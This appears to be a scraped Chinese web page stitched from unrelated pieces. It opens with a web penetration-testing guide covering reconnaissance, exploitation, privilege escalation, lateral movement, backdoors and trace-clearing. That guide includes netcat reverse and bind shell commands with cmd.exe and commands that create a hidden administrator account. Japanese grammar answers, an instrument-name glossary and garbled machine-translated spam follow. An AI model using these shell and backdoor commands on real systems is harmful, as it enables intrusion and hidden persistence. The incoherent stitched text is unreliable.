渗透 日语_渗透测试的日语

hacker|
219

web渗透是什么?

Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。

Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。

信息收集

信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。

DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)

整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;

网站常见搭配为:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目录信息(御剑,dirbust)

开放端口信息(nmp)

漏洞扫描

利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。

常见漏洞:

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE(XML外部实体注入)漏洞

SSRF(服务端请求伪造)漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录遍历漏洞和任意文件读取/下载漏洞

漏洞利用

用工具也好什么也好对相应漏洞进行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

后台密码爆破(burp)

端口爆破(hydra)

提权

获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权

内网渗透

首先进行端口转发可用nc

nc使用方法:

反向连接

在公网主机上进行监听:

nc-lvp 4444

在内网主机上执行:

nc-e cmd.exe 公网主机ip4444

成功之后即可得到一个内网主机shell

正向连接

远程主机上执行:

nc-l -p 4444 -t -e cmd.exe

本地主机上执行:

nc-vv 远程主机ip4444

成功后,本地主机即可远程主机的一个shell

然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门

留后门

对于网站上传一句话木马,留下后门

对于windows用户可用hideadmin创建一个超级隐藏账户

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。

请会日语的朋友帮帮我,感激不尽!

1.父のシャツにインクが(2番∶にじんていて)なかなか落とせなくて母はこまっている。

にじんていて是「渗透」「渗进」的意思。在这里应该用这个动词。如果用「しみ」这个单词的话、因为它是名词。应该是「しみが付いて」不应该是「しみていて」

2.私の母は、日本语教师になる(3番∶ように)、55歳を过ぎて大学に入学した。

在这里用「ように」也可以说「なるために」可是另外一个是「んがために」因为不通顺。所以不能用。

3.あの人は外国人だということを(2番∶かんじさせない)ほど日本语がじょうずだ。

「かんじさせない」是不让人感觉到那个人是外国人。应该是这个「かんじさせない」的使役型。其实用「かんじられない」也没有大错。就是「不能感觉到」的意思。

4.かつと思った试合に负けて、仆たちの気分は湿り(1番∶っぽくなった)

应该用「っぽくなった」就是「带点··」「容易··」的意思。「湿りっぽい」就是很容易伤心。这个「っぽい」的前面的动词必须是连用型。

5.私は社会のために奉仕することを大きな喜び(3番∶を感じています。 )

6.わたしは山田先生を6时までここで(4番∶お待たせいただきます)

应该用这个使役型的「お待たせいただきます」让(请」先生等··

7.全国の平均水准(1番∶からみて)、この都市の物価は依然として高すぎる。

8.今、港には(4番:一そうのヨットが入っている。

用「そう」(艘)用来表示船、舰艇的单位。

9.その仕事、弟に(2番:やらせてもらってくださいませんか)。実は弟は大学を出たことは出たんですが、今フリーターしてるんです。

10.夜、パーティーに行く(1番:とか)で、小川さんはすごくすてきな服を着てきました

11.请选择「洗う」的正确用法,并说明其他句子的用法中错在哪里

「洗う」是「洗」的意思。有洗东西的「洗」比如∶洗衣服、洗盘子等。也有「洗手不干」就是以前做坏事、从今以后不干了··还有一个意思就是审查、调查、查清也用这个「洗」

「1」「2」是对的。

「3」「4」是错的。

因为「考え」不能用「洗」这个动词。「丧命」也不能用「洗」应该是「命がお落とされた」

测试仪的日语翻译,大家帮帮忙 磁测试仪、密度测试仪、恒温干燥箱、冷水机。拜托了!

测试仪 メーター 

磁测试仪 磁石メーター(不确定)じしゃくめーたー

密度测试仪 密度メーター みつどめーたー

恒温干燥箱 恒温乾燥箱 こうおんかんそうばこ

冷水机 冷水机 れいすいき

日语翻译

每月1000个阶段的场RASHII是3000日元,所以没有买的无料。

这一要求也并不需要相互连结。

在无料YAFUKATESAITO优良传入的链接网站去顶端似乎节日问答选手第二轮骑马射箭队希望有权参加的比赛!无料时,参加优胜赏金10万日元星期日十月十九日在2008年上午9:00开始时30分钟场※高山雨桥顺延宽的河床在这里可怕的详(双击放大) ↓ ↓ ↓当然2010年完善对初学者来说,租金是更好地生活在这里一起^ ^请访问土地↓西北角最好的!试,以无料你能! ※在过去的两年很多角落你试间中被埋葬在该期限内。

7000间中经常航运的新时期7480包括一个新的费税无料特别消费别MUATSU的生活费用西川枕头● “网格” [家庭]无料団冉航运的暖MEMASU ★场,同时保持了良好的旧风现代安排在一个偶然哥打京那说,航运无料♪ (决済关闭其不使用) 。 RORUSUKURIN会见了一个陌生人?我在这里向达午睡,但我不认为中国的大部分,反渗透(测试服务器)将根据无料。

(无料NETOGE的民族愿望的研究,参考或前体) BOT方式请不要犹豫,区域管理小组或也许是因为人民在中国, “ KUNARU强时间等待”只是一个类型的网络游戏

0条大神的评论

发表评论